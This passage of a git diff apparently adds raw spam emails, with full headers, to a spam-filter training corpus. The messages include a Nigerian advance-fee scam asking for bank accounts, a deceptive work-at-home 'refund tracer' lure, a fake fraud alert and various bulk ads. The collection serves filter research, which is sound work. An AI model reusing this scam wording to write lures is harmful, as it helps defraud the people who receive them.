7bit +X-Status: +X-Keywords: + +Hello. I meant to contact http://taint.org webmaster, +Am I correct, I hope? + +Actually, I am not quite sure... Did I or Natasha Fedorova write +you before to your other address? Anyway, now I am here instead of +her too. + +So, my name is Oksana Svetlova, I live in St. Petersburg, Russia. + +I have an idea, how we could cooperate to mutual benefit, see, +possibly you will find it interesting. + +People are seeking to cut costs with this economy slow-down, right? + +The thing is that I could get you in touch with developers from +Russia, who will be happy to do a web designer's work for you for +considerably less, than you possibly take from your clients (or +pay for web-design?), and with _professional_ quality. Also - all +programming, Internet-programming, graphic, flash design, content +writing, translations, etc. If you do web-design, then you may +accept more orders at once, getting a good share from each, and +devote yourself only to that work, you find most interesting. +Alternatively, you can realize more your ideas to develop, more +features to add to your existing sites, and with low costs: from +$12, and an average of $18 an hour. + +I have put links to their works at www.antee.com/samples_and_faq.html + +As for reliability, I just saw, how carefully they hand-picked their +specialists, and under what tight management they do their projects. +So, from past experience, it was almost always possible to meet +deadlines. Also, communication is properly thought-out: a consultant +is online in ICQ and other instant messengers almost each day, also +their company has local consultants in many states throughout the +USA, in Europe and Australia. + +So, what do you think? A possibility for cooperation? + +Thank you very much, +Oksana Svetlova. +oksana@antee.com + +PS. Just in case you need any type of IT works now, please let me +know a bit of details, they will return you a cost/time estimation. diff --git a/bayes/spamham/spam_2/00173.6f5baeeaeb9b1c1ac4b9527e948828db b/bayes/spamham/spam_2/00173.6f5baeeaeb9b1c1ac4b9527e948828db new file mode 100644 index 0000000..eec3178 --- /dev/null +++ b/bayes/spamham/spam_2/00173.6f5baeeaeb9b1c1ac4b9527e948828db @@ -0,0 +1,55 @@ +From director126432@usahelp.com Mon Jun 24 17:44:27 2002 +Return-Path: director@usahelp.com +Delivery-Date: Mon Mar 4 14:30:46 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g24EUi129973 for + ; Mon, 4 Mar 2002 14:30:44 GMT +Received: from matrix.seed.net.tw (matrix.seed.net.tw [192.72.81.219]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g24EUZ215976 for + ; Mon, 4 Mar 2002 14:30:37 GMT +Received: from [210.243.240.115] (helo=isomain01.isotech.com.tw) by + mail.seed.net.tw with esmtp (SEEDNet Mail Server v2.316f) id + 16htPn-0001wv-00; Mon, 04 Mar 2002 22:26:12 +0800 +Received: from smtp0000.mail.yahoo.com (h64-42-218-86.gtconnect.net + [64.42.218.86]) by isomain01.isotech.com.tw with SMTP (Microsoft Exchange + Internet Mail Service Version 5.5.2650.21) id DTM60F4H; Mon, + 4 Mar 2002 17:38:39 +0800 +Reply-To: director@usahelp.com +From: director126432@usahelp.com +To: yyyy@moncelon.com +Subject: Thank You So Much 126432211111 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Mon, 4 Mar 2002 01:32:30 -0800 +Message-Id: +X-Status: +X-Keywords: + +*** Attention: US Citizens *** Earn extra money working at home in your spare time. + +The government needs your help! + +Become a mortgage refund tracer in a few easy steps. + +Millions of dollars are left to be distrubuted each year and each state government +pays tracers to help track down the poeple who are to receive the money owed to them + It is the law that they must disperse the funds. + +We provide you with the tools and information necessary to make yourself thousands each month working from the privacy of your own home. +Part time or full time - You spend as much or as little time as you want while helping your neighbors and the US government! + +Visit: http://www3.sympatico.ca/mark.daisy/mortgage/ + + +Don't miss this awesome opportunity! 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We will not solicit any other offers. + + + +126432211111 diff --git a/bayes/spamham/spam_2/00174.94a8f3a8826ff937c38640422784ce86 b/bayes/spamham/spam_2/00174.94a8f3a8826ff937c38640422784ce86 new file mode 100644 index 0000000..16dfb5a --- /dev/null +++ b/bayes/spamham/spam_2/00174.94a8f3a8826ff937c38640422784ce86 @@ -0,0 +1,35 @@ +From mccarts@mindspring.com Mon Jun 24 17:42:12 2002 +Return-Path: mccarts@mindspring.com +Delivery-Date: Wed Mar 13 00:58:21 2002 +Received: from tomts20-srv.bellnexxia.net (tomts20.bellnexxia.net + [209.226.175.74]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g2D0wK101942 for ; Wed, 13 Mar 2002 00:58:20 GMT +Received: from Sender ([65.92.116.203]) by tomts20-srv.bellnexxia.net + (InterMail vM.4.01.03.23 201-229-121-123-20010418) with SMTP id + <20020313005814.XFKX7112.tomts20-srv.bellnexxia.net@Sender>; + Tue, 12 Mar 2002 19:58:14 -0500 +From: Jean McCart +To: ""<> +Subject: Traderlist.com being shut down due to FRAUD! +Reply-To: support@ebay.every1.net +X-Mailer: Advanced Mass Sender v 3.21b (Smtp MultiSender v 2.5) +MIME-Version: 1.0 +Content-Type: text/plain; charset="koi8-r" +Date: Wed, 13 Mar 2002 07:59:51 -0500 +Message-Id: <20020313005814.XFKX7112.tomts20-srv.bellnexxia.net@Sender> +X-Status: +X-Keywords: + +Traderlist.com is a fraud and is sending out your e-mail to 3rd parties!! + +With the help of an email extracting program anyone can get your email adress and home adress from scanning Traderlist.com. + +Traderlist.com is breach the Internet Privacy Act by adding your email adress and adress without the consent of the owner. + +We are working towards a class action law suit which will see Traderlist.com ordered to be shut down and pay a fine. + +If you are interested and would like to find out how Traderlist.com sends out your email and other personal information to 3rd parties just reply to this message. + +Regards, + +Jean McCart diff --git a/bayes/spamham/spam_2/00175.931897f329f7ed0aee7df9f5d0626359 b/bayes/spamham/spam_2/00175.931897f329f7ed0aee7df9f5d0626359 new file mode 100644 index 0000000..70e06f2 --- /dev/null +++ b/bayes/spamham/spam_2/00175.931897f329f7ed0aee7df9f5d0626359 @@ -0,0 +1,65 @@ +From Union@dogma.slashnull.org Mon Jun 24 17:42:26 2002 +Return-Path: MkyD@tpts5.seed.net.tw +Delivery-Date: Sat Mar 16 09:36:33 2002 +Received: from user (awork080146.netvigator.com [203.198.84.146]) by + dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g2G9aVg30945 for + ; Sat, 16 Mar 2002 09:36:32 GMT +Date: Sat, 16 Mar 2002 09:36:32 GMT +Received: from tpts4 by tcts1.seed.net.tw with SMTP id + dpeyX0jGVPKU37zroYC2; Sat, 16 Mar 2002 17:33:55 +0800 +Message-Id: +From: Union@dogma.slashnull.org +To: unionc@unioncameraltd.com +Subject: Brand Name Product Business +X-Mailer: 1DBTOPMHYPvWHpRaW08Y3j +Content-Type: text/plain; +X-Priority: 3 +X-Msmail-Priority: Normal +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from Quoted-Printable to 8bit by dogma.slashnull.org + id g2G9aVg30945 +X-Status: +X-Keywords: + +Dear Sir/Madam, + +BRAND NAME PRODUCTS + +Any brand name products you would like to buy or sell in volume? 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Healthy Clients need not +apply! +Sex Age Face Amt. Condition Other Co's TBA + +Female 87 $2,000,000 High Blood Pressure Standard +Preferred! +Male 60 $500,000 Aneurysm - Treated Surgically Decline +Standard! +Male 57 $1,000,000 Heart Attack 1997 & Pacemaker Table 6 +Standard! +Female 57 $500,000 Diabetic for 34 years Table 4 +Standard! +Male 51 $1,500,000 Alcohol Abuse (Dry 1 year) Decline +Standard! +Male 50 $2,500,000 1/2 pack a day cigarette smoker +Pref. Smoker Pref. Nonsmoker! +Male 47 $2,000,000 Tobacco Chewer Smoker Pref. +Nonsmoker! + +Visit us at www.tba.com or 800-624-4502x18 + + +Please fill out the form below for more information +Name: +E-mail: +Phone: +City: State: + + +We don't want anybody to receive our mailings who does not wish to +receive them. This is professional communication sent to insurance +professionals. To be removed from this mailing list, DO NOT REPLY to +this message. Instead, go here: http://www.InsuranceIQ.com/optout + + + +------=_NextPart_000_1EA50_01C1D02A.8CB39DF0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +Let the TBA Doctor Save Your Tough Cases + + + + + =20 + + +
    3D'Let=20 + + =20 + + + + + + + + =20 + + + + + + + + =20 + + + + + + + + =20 + + + + + + + + =20 + + + + + + + + =20 + + + + + + + + =20 + + + + + + + + =20 + + + + + + + +
    SexAgeFace Amt.ConditionOther Co'sTBA
    Female87$2,000,000High Blood PressureStandardPreferred!
    Male60$500,000Aneurysm - Treated SurgicallyDeclineStandard!
    Male57$1,000,000Heart Attack 1997 & PacemakerTable 6Standard!
    Female57$500,000Diabetic for 34 yearsTable 4Standard!
    Male51$1,500,000Alcohol Abuse (Dry 1 year)DeclineStandard!
    Male50$2,500,0001/2 = +pack a day cigarette smoker Pref. SmokerPref. Nonsmoker!
    Male47$2,000,000Tobacco ChewerSmokerPref. Nonsmoker!
    +
    +
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    + + =20 + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + + + =20 + + + + + +
    Please fill out the = +form below for more information
    Name: =20 + +
    E-mail: =20 + +
    Phone: =20 + +
    City: =20 + + State: =20 + +
     =20 + +  =20 + + +
    +
    +

    + We don't want anybody to receive our mailings who does not wish=20 + to receive them. This is professional communication=20 + sent to insurance professionals. To be removed from this mailing = +list,=20 + DO NOT REPLY to this message. Instead, go here: http://www.InsuranceIQ.com/opt= +out +

    +
    + + + + +------=_NextPart_000_1EA50_01C1D02A.8CB39DF0-- diff --git a/bayes/spamham/spam_2/00177.581a22999fd636e541e4e4864baf947f b/bayes/spamham/spam_2/00177.581a22999fd636e541e4e4864baf947f new file mode 100644 index 0000000..b7c971f --- /dev/null +++ b/bayes/spamham/spam_2/00177.581a22999fd636e541e4e4864baf947f @@ -0,0 +1,32 @@ +From wrJerry@yahoo.com Mon Jun 24 17:43:12 2002 +Return-Path: wrJerry@yahoo.com +Delivery-Date: Mon Mar 25 06:10:38 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g2P6Abg15628 for + ; Mon, 25 Mar 2002 06:10:37 GMT +Received: from 211.250.199.130 ([211.250.199.130]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP id g2P6AT226511 for + ; Mon, 25 Mar 2002 06:10:30 GMT +Message-Id: <200203250610.g2P6AT226511@mandark.labs.netnoteinc.com> +From: fggkJerry +To: yyyy@netnoteinc.com +Subject: Be First...It"s Your Turn...Don't Miss Out! nox +Sender: fggkJerry +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Mon, 25 Mar 2002 01:10:31 -0500 +X-Status: +X-Keywords: + +Finally: After 15 Years of Research and Development..A True WEIGHT LOSS Breakthrough Years Ahead of it's Time! + +SERIOUSLY: DEEP DOWN YOU KNOW THAT MILLIONAIRES ARE MADE BY GETTING INVOLVED IN OPPORTUNITIES BEFORE THE GENERAL PUBLIC FINDS OUT...HERE IS YOUR CHANCE TO GET INVOLVED WITH A PRODUCT THAT CAN LEAD TO SERIOUS, MONTHLY RESIDUAL INCOME (Do the work once and keep getting paid!)...FIND OUT WHY...FIND OUT HOW...NOW! + +Send a blank email with the words "SUBSCRIBE to T.E.D" in the subject area to: + +jmpro@hotpop.com + +This is your first step towards working with a team of 7 figure income earners that can teach you how to do the same because of a proven system that will be customized for you! + + +mmuocfvfbxotxknbnbdytkwdbonvovyv diff --git a/bayes/spamham/spam_2/00178.2dbe6aa90dc38758c946170ff92ec8e8 b/bayes/spamham/spam_2/00178.2dbe6aa90dc38758c946170ff92ec8e8 new file mode 100644 index 0000000..ebe8307 --- /dev/null +++ b/bayes/spamham/spam_2/00178.2dbe6aa90dc38758c946170ff92ec8e8 @@ -0,0 +1,41 @@ +From lowerpymt@hey11.heyyy.com Mon Jun 24 17:05:02 2002 +Return-Path: lowerpymt@hey11.heyyy.com +Delivery-Date: Sun May 19 18:15:56 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4JHFte21976 for + ; Sun, 19 May 2002 18:15:55 +0100 +Received: from hey11.heyyy.com ([211.78.96.11]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4JHFrD15866 for + ; Sun, 19 May 2002 18:15:54 +0100 +Date: Mon, 25 Mar 2002 08:04:33 -0500 +Message-Id: <200203251304.g2PD4Xm26753@hey11.heyyy.com> +From: lowerpymt@hey11.heyyy.com +To: nkwixyzqia@heyyy.com +Reply-To: lowerpymt@hey11.heyyy.com +Subject: ADV: Low Cost Life Insurance -- FREE Quote wzwjt +X-Keywords: + +Low-Cost Term-Life Insurance! +SAVE up to 70% or more on your term life insurance policy now. + +Male age 40 - $250,000 - 10 year level term - as low as $11 per month. + +CLICK HERE NOW For your FREE Quote! +http://hey11.heyyy.com/insurance/ + +If you haven't taken the time to think about what you are paying for life insurance...now is the time!!! + +We offer the lowest rates available from nationally recognized carriers. + +Act now and pay less! +CLICK HERE +http://hey11.heyyy.com/insurance/ + + + +++++++++++++++++++++++++++++ +Simple Removal instructions: +To be removed from our in-house list simply visit +http://hey11.heyyy.com/removal/remove.htm +Enter your email addresses to unsubscribe. + diff --git a/bayes/spamham/spam_2/00179.ef2f7cf60806a96b59f4477b025580ee b/bayes/spamham/spam_2/00179.ef2f7cf60806a96b59f4477b025580ee new file mode 100644 index 0000000..711347a --- /dev/null +++ b/bayes/spamham/spam_2/00179.ef2f7cf60806a96b59f4477b025580ee @@ -0,0 +1,248 @@ +From amu2@c4.com Mon Jun 24 17:43:32 2002 +Return-Path: amu2@c4.com +Delivery-Date: Wed Mar 27 05:38:11 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g2R5cAg29422 for + ; Wed, 27 Mar 2002 05:38:10 GMT +Received: from mail1.chek.com (homer.chek.com [208.197.227.7]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP id g2R5c2204072 for + ; Wed, 27 Mar 2002 05:38:03 GMT +Received: (qmail 23451 invoked from network); 27 Mar 2002 05:38:00 -0000 +Received: from whiskas.chek.com (208.197.227.138) by mailrelay1.chek.com + with SMTP; 27 Mar 2002 05:38:00 -0000 +Received: (qmail 15123 invoked by uid 99); 27 Mar 2002 05:38:00 -0000 +Date: 27 Mar 2002 05:38:00 -0000 +Message-Id: <20020327053800.15122.qmail@whiskas.chek.com> +From: "Alhaji Abubakar" +To: amu2@c4.com +X-Originating-Ip: [217.146.9.6] +Subject: urgent and confidential business proposal +MIME-Version: 1.0 +X-Massmail: 1.0 +X-Massmail: precedence.bulk +X-Status: +X-Keywords: +Content-Type: multipart/alternative; boundary="=====================_889472414==_" + + +--=====================_889472414==_ +Content-Type: text/plain +Content-Transfer-Encoding: 8bit + +Your Attention, Please + +PLEASE REPLY ONLY TO: + +(1) abacha10@africamail.net +(2) abacha10@mail2africa.com +(3) alhajiabubakar10@email.com + + +I have very confidential and urgent business to +transact with you. But first permit me to say that I +do not know you; you are receiving this mail via blind +carbon copy of email addresses which I obtained from a +simple internet search. You are therefore NOT obliged +to reply. However, if you do, and the conditions are +right, you will be amply compensated. It is also +pertinent to add that I am using an assumed name, and +free web based email addresses for my personal +protection . + +In order to give you a background of this "business +transaction", please check the website + +http://news.ft.com/ft/gx.cgi/ftc?pagename=View&c=Article&cid=FT3PQPP45QC + +Before proceeding further, please permit me to give +you more background on the Abacha family "MILLIONS" as +it is now known; please check the following websites + +http://www.oneworld.org/ips2/aug98/17_29_059.html + +http://www.odiousdebts.org/odiousdebts/index.cfm?DSP=content&ContentID=974 + +I have taken some pains to give you readings on the +Abacha Family fortunes; They are of course a matter +of public record, and CONCLUSIVELY PROVES INDEED THAT +GENERAL SANI ABACHA TRANSFERRED BILLIONS OF DOLLARS +OUT OF NIGERIA ! However, it is conceivable and even +logical that NOT ALL OF THE FORTUNE HAS BEEN +"DISCOVERED" OR FROZEN BY FOREIGN GOVERNMENTS IN +SYMPATHY AND ON THE REQUEST OF THE CURRENT GOVERNMENT +OF NIGERIA. AND THIS IS A FACT! + +The truth of the matter is that much more of the +Abacha fortunes are still hidden , their location a +closely guarded secret; Her Excellency, Hajia +Abacha,widow of Gen. Sani Abacha, ex-head of +State of Nigeria, who died June 8, 1998 +and her immediate family are under house arrest in +Nigeria. It is therefore my job to search out a +reliable person, a complete stranger to help +transfer/secure a negotiated amount from the still +hidden millions of Dollars. The right person must +pass a background check in order to avoid my being +betrayed to the AUTHORITIES, as happened in the past. +It is now obvious why I will be using an assumed name +for the moment. All precautions will be taken to avoid +leakages. Though I am using the internet which is +largely unsafe, as soon as I get a "reliable" +candidate, I will introduce security measures for +every body's protection. For the moment I am simply a +"Contact Person" for the REAL Abacha family. + +In sum, the person I am looking for is an individual +or corporate body that is able to provide one or more +Bank Accounts into which arrangements will be made to +transfer US$5,000,000.00 to US$10,000,000.00 every +week; The routine, periodic transfers in small +instalments are designed to avoid raising suspicion in +the wrong quarters. These transfers will be secure and +properly legal, and with all proper bank +documentation. The right person may need to establish +fresh/new RECEIVING BANK accounts free from legal or +financial encumbrances. Persons with bad credit rating +, undischarged bankrupts, companies in receivership +and minors need not reply; Because of the stature and +confidentiality of this proposed transaction, a +successful candidate will receive 25% of all +transfers. Other Conditions, including maximum secrecy +and confidentiality apply. + +If you are interested in helping this family, and if +you can meet our strict conditions, please reply to +all email addresses listed below. In your reply please +include your phone, fax and contact address. In the +event you do not meet our conditions after a brief +back ground check, you will be communicated +accordingly. Please before replying, take your time +to go through all the links and investigate thoroughly +all the foregoing; this is a serious proposal, despite +the medium in which you are receiving my message. + +Looking forward to your reply, + +Yours Sincerely, + +Alhaji Abubakar + +Please Reply to: +(1) abacha10@africamail.net +(2) abacha10@mail2africa.com +(3) alhajiabubakar10@email.com + + + +--=====================_889472414==_ +Content-Type: text/html +Content-Transfer-Encoding: 8bit + + + +
    Your Attention, Please
    +
    +PLEASE REPLY ONLY TO:
    +
    +(1) abacha10@africamail.net
    +(2) abacha10@mail2africa.com
    +(3) alhajiabubakar10@email.com
    +
    +
    +I have very confidential and urgent business to
    +transact with you. But first permit me to say that I
    +do not know you; you are receiving this mail via blind
    +carbon copy of email addresses which I obtained from a
    +simple internet search. You are therefore NOT obliged
    +to reply. However, if you do, and the conditions are
    +right, you will be amply compensated. It is also
    +pertinent to add that I am using an assumed name, and
    +free web based email addresses for my personal
    +protection .
    +
    +In order to give you a background of this "business
    +transaction", please check the website
    +
    +http://news.ft.com/ft/gx.cgi/ftc?pagename=View&c=Article&cid=FT3PQPP45QC
    +
    +Before proceeding further, please permit me to give
    +you more background on the Abacha family "MILLIONS" as
    +it is now known; please check the following websites
    +
    +http://www.oneworld.org/ips2/aug98/17_29_059.html
    +
    +http://www.odiousdebts.org/odiousdebts/index.cfm?DSP=content&ContentID=974
    +
    +I have taken some pains to give you readings on the
    +Abacha Family fortunes; They are of course a matter
    +of public record, and CONCLUSIVELY PROVES INDEED THAT
    +GENERAL SANI ABACHA TRANSFERRED BILLIONS OF DOLLARS
    +OUT OF NIGERIA ! However, it is conceivable and even
    +logical that NOT ALL OF THE FORTUNE HAS BEEN
    +"DISCOVERED" OR FROZEN BY FOREIGN GOVERNMENTS IN
    +SYMPATHY AND ON THE REQUEST OF THE CURRENT GOVERNMENT
    +OF NIGERIA. AND THIS IS A FACT!
    +
    +The truth of the matter is that much more of the
    +Abacha fortunes are still hidden , their location a
    +closely guarded secret; Her Excellency, Hajia
    +Abacha,widow of Gen. Sani Abacha, ex-head of
    +State of Nigeria, who died June 8, 1998
    +and her immediate family are under house arrest in
    +Nigeria. It is therefore my job to search out a
    +reliable person, a complete stranger to help
    +transfer/secure a negotiated amount from the still
    +hidden millions of Dollars. The right person must
    +pass a background check in order to avoid my being
    +betrayed to the AUTHORITIES, as happened in the past.
    +It is now obvious why I will be using an assumed name
    +for the moment. All precautions will be taken to avoid
    +leakages. Though I am using the internet which is
    +largely unsafe, as soon as I get a "reliable"
    +candidate, I will introduce security measures for
    +every body's protection. For the moment I am simply a
    +"Contact Person" for the REAL Abacha family.
    +
    +In sum, the person I am looking for is an individual
    +or corporate body that is able to provide one or more
    +Bank Accounts into which arrangements will be made to
    +transfer US$5,000,000.00 to US$10,000,000.00 every
    +week; The routine, periodic transfers in small
    +instalments are designed to avoid raising suspicion in
    +the wrong quarters. These transfers will be secure and
    +properly legal, and with all proper bank
    +documentation. The right person may need to establish
    +fresh/new RECEIVING BANK accounts free from legal or
    +financial encumbrances. Persons with bad credit rating
    +, undischarged bankrupts, companies in receivership
    +and minors need not reply; Because of the stature and
    +confidentiality of this proposed transaction, a
    +successful candidate will receive 25% of all
    +transfers. Other Conditions, including maximum secrecy
    +and confidentiality apply.
    +
    +If you are interested in helping this family, and if
    +you can meet our strict conditions, please reply to
    +all email addresses listed below. In your reply please
    +include your phone, fax and contact address. In the
    +event you do not meet our conditions after a brief
    +back ground check, you will be communicated
    +accordingly. Please before replying, take your time
    +to go through all the links and investigate thoroughly
    +all the foregoing; this is a serious proposal, despite
    +the medium in which you are receiving my message.
    +
    +Looking forward to your reply,
    +
    +Yours Sincerely,
    +
    +Alhaji Abubakar
    +
    +Please Reply to:
    +(1) abacha10@africamail.net
    +(2) abacha10@mail2africa.com
    +(3) alhajiabubakar10@email.com
    +
    +



    + +--=====================_889472414==_-- diff --git a/bayes/spamham/spam_2/00180.751cb63992e172566b3a296d970c425d b/bayes/spamham/spam_2/00180.751cb63992e172566b3a296d970c425d new file mode 100644 index 0000000..2d00f81 --- /dev/null +++ b/bayes/spamham/spam_2/00180.751cb63992e172566b3a296d970c425d @@ -0,0 +1,37 @@ +From gintare@netzero.net Mon Jun 24 17:43:42 2002 +Return-Path: dmeizys@host11.websitesource.com +Delivery-Date: Thu Mar 28 05:05:36 2002 +Received: from host11.websitesource.com (host11.websitesource.com + [209.239.38.72]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g2S55Zg19269 for ; Thu, 28 Mar 2002 05:05:35 GMT +Received: (from dmeizys@localhost) by host11.websitesource.com + (8.10.2/8.10.2) id g2S55Yw21305; Thu, 28 Mar 2002 00:05:34 -0500 +Message-Id: <200203280505.g2S55Yw21305@host11.websitesource.com> +To: yyyy@spamassassin.taint.org +From: Free Phone Calls! +Date: Thu, 28 Mar 2002 05:01:02 +0000 +X-Mailer: Envex Developments +X-Mailer-Info: http://www.envex.net/ +Subject: Welcome to www.internationafreecall.com +Content-Type: text/plain +X-Status: +X-Keywords: + + +Thank you for signing up for the Internationalfreecall.com mailing list. + +Soon we will show you how to make free international and free domestic phone calls. + +The information on making free international calls will come after a short series of emails, so please wait a couple of days for the series of emails to arrive. In the meantime, you can always opt-out at any time by clicking on the unsubscribe link at the bottom of each message. + +In addition, for those who qualified for our promotion, we will show you how to receive 160 minutes of free domestic calling. + +Finally, for our customers who order a flat-rate calling product and wish to market this, or another one of their own businesses, I will give a free automated email follow-up system with no catches (this is a $20.00 value!) + +More to come soon. Stay tuned! + +http://www.internationalfreecall.com + +To unsubscribe at any time, click on: + +http://www.internationalfreecall.com/cgi-bin/aefs/subscribe.cgi?user=info&listid=3.list&id=5576 diff --git a/bayes/spamham/spam_2/00181.8f8c7074d957952981b3d7bc188eb1a0 b/bayes/spamham/spam_2/00181.8f8c7074d957952981b3d7bc188eb1a0 new file mode 100644 index 0000000..5ab5597 --- /dev/null +++ b/bayes/spamham/spam_2/00181.8f8c7074d957952981b3d7bc188eb1a0 @@ -0,0 +1,37 @@ +From gintare@netzero.net Mon Jun 24 17:43:43 2002 +Return-Path: dmeizys@host11.websitesource.com +Delivery-Date: Thu Mar 28 05:05:45 2002 +Received: from host11.websitesource.com (host11.websitesource.com + [209.239.38.72]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g2S55jg19282 for ; Thu, 28 Mar 2002 05:05:45 GMT +Received: (from dmeizys@localhost) by host11.websitesource.com + (8.10.2/8.10.2) id g2S55iF21388; Thu, 28 Mar 2002 00:05:44 -0500 +Message-Id: <200203280505.g2S55iF21388@host11.websitesource.com> +To: users@spamassassin.taint.org +From: Free Phone Calls! +Date: Thu, 28 Mar 2002 05:01:02 +0000 +X-Mailer: Envex Developments +X-Mailer-Info: http://www.envex.net/ +Subject: Welcome to www.internationafreecall.com +Content-Type: text/plain +X-Status: +X-Keywords: + + +Thank you for signing up for the Internationalfreecall.com mailing list. + +Soon we will show you how to make free international and free domestic phone calls. + +The information on making free international calls will come after a short series of emails, so please wait a couple of days for the series of emails to arrive. In the meantime, you can always opt-out at any time by clicking on the unsubscribe link at the bottom of each message. + +In addition, for those who qualified for our promotion, we will show you how to receive 160 minutes of free domestic calling. + +Finally, for our customers who order a flat-rate calling product and wish to market this, or another one of their own businesses, I will give a free automated email follow-up system with no catches (this is a $20.00 value!) + +More to come soon. Stay tuned! + +http://www.internationalfreecall.com + +To unsubscribe at any time, click on: + +http://www.internationalfreecall.com/cgi-bin/aefs/subscribe.cgi?user=info&listid=3.list&id=5587 diff --git a/bayes/spamham/spam_2/00182.5561cb1b6f968e83afabe21d7a28bb37 b/bayes/spamham/spam_2/00182.5561cb1b6f968e83afabe21d7a28bb37 new file mode 100644 index 0000000..f76ccda --- /dev/null +++ b/bayes/spamham/spam_2/00182.5561cb1b6f968e83afabe21d7a28bb37 @@ -0,0 +1,416 @@ +From motorvan@fazekas.hu Mon Jun 24 17:44:10 2002 +Return-Path: avfs-admin@fazekas.hu +Delivery-Date: Fri Mar 29 11:51:14 2002 +Received: from csibe.fazekas.hu (postfix@csibe.fazekas.hu [195.199.63.65]) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g2TBnrA20430 for + ; Fri, 29 Mar 2002 11:49:54 GMT +Received: by csibe.fazekas.hu (Postfix, from userid 99) id 4106CFDEC; + Fri, 29 Mar 2002 12:49:37 +0100 (CET) +Received: from csibe.fazekas.hu (localhost [127.0.0.1]) by + csibe.fazekas.hu (Postfix) with ESMTP id 79EB32F29F; Fri, 29 Mar 2002 + 12:49:02 +0100 (CET) +Delivered-To: avfs@fazekas.hu +Received: by csibe.fazekas.hu (Postfix, from userid 99) id B7E12FBEA; + Fri, 29 Mar 2002 12:48:30 +0100 (CET) +Received: from 203195058114.ctinets.com (203195058114.ctinets.com + [203.195.58.114]) by csibe.fazekas.hu (Postfix) with SMTP id 188C02F22D + for ; Fri, 29 Mar 2002 12:48:00 +0100 (CET) +Message-Id: <001501c1d6ab$ca196c60$777ba8c0@AndrewLi> +From: "Hing Lung Motor Mfy." +To: avfs@fazekas.hu +MIME-Version: 1.0 +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Subject: [Avfs] D.C. MOTOR +Sender: avfs-admin@fazekas.hu +Errors-To: avfs-admin@fazekas.hu +X-Beenthere: avfs@csibe.fazekas.hu +X-Mailman-Version: 2.0.3 +Precedence: bulk +Reply-To: avfs@fazekas.hu +X-Reply-To: "Hing Lung Motor Mfy." +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +Date: Fri, 29 Mar 2002 06:56:25 +0800 +X-Status: +X-Keywords: +Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_000_0011_01C1D6EE.D7F988E0" + +This is a multi-part message in MIME format. + +------=_NextPart_000_0011_01C1D6EE.D7F988E0 +Content-Type: multipart/alternative; + boundary="----=_NextPart_001_0012_01C1D6EE.D7F988E0" + + +------=_NextPart_001_0012_01C1D6EE.D7F988E0 +Content-Type: text/plain; + charset="big5" +Content-Transfer-Encoding: quoted-printable + +DC MOTOR, GEAR MOTOR. New Offer 2002 + + For customer's O.E.M are most welcomed=20 +If special requested RPM, length of shaft, torque, size, voltage, etc. = +Please contact us=20 + +E-mail: motorvan@sinaman.com Please contact with Mr. = +Van Lee + + NO: HL101-D-D8xH6 VIBRATOR MOTOR SIZE: 20 x 15.5 x H25 MM =20 + PRICE: US$ 0.12/PC + NO:HL307 DC MOTOR=20 + SIZE: D12 x 19.5 MM + PRICE: US$ 0.38/PC =20 + NO: HL1011-DC MOTOR FOR WHEELCHAIR, SCOOTER=20 + SIZE: D100 x H70 MM + OUTPUT: 95 W + PRICE: US$ 13.50/PC=20 + NO: HL200 GENERATOR MOTOR=20 + SIZE: D30.5 x H13 MM + PRICE: US$ 2.3 + =20 + WE PRODUCE MORE THAN 70 DIFFERENT DESIGN AND=20 + SIZE OF DC, GEAR AND AC MOTORS, THEY ARE SUITABLE =20 + + FOR OPERATION TOYS, HOUSEHOLD APPLIANCES, RECORDS,=20 + + SCOOTER, VIBRATOR, GENERATOR, WHEELCHAIR ETC. + + -----ANY ENQUIRY ARE WELCOME----- + + Hing Lung Motor Mfy, Hong Kong Tel : 852-24218309 = +852-24259526 Fax: 852-24817148 =20 + =20 + + +------=_NextPart_001_0012_01C1D6EE.D7F988E0 +Content-Type: text/html; + charset="big5" +Content-Transfer-Encoding: quoted-printable + + + + + + + + +
    +

    DC MOTOR,  GEAR=20 +MOTOR. New = +Offer 2002

              &nbs= +p;  =20 +For customer's  O.E.M  are most welcomed
    If special requested = +RPM, length of=20 +shaft, torque, size, voltage, etc. Please contact us
    +

    E-mail:   motorvan@sinaman.com&n= +bsp; =20 +             = + +Please contact with Mr. Van=20 +Lee

    + + + + + + + +
    NO: HL101-D-D8xH6 VIBRATOR=20 + MOTOR  SIZE:  20 x 15.5 x H25 MM  = +
    PRICE: =20 + US$ 0.12/PC
    		NO:HL307 DC MOTOR = +
    SIZE: D12 x=20 + 19.5=20 + = +MM
               &= +nbsp;=20 +    PRICE: US$ 0.38/PC
    NO: HL1011-DC  MOTOR = +FOR WHEELCHAIR, SCOOTER
    SIZE: D100 x H70=20 + MM
    OUTPUT: 95=20 + = +W
               &n= +bsp;   =20 + PRICE: US$ 13.50/PC
    		NO: HL200 GENERATOR = +MOTOR
    SIZE:=20 + D30.5 x H13 MM
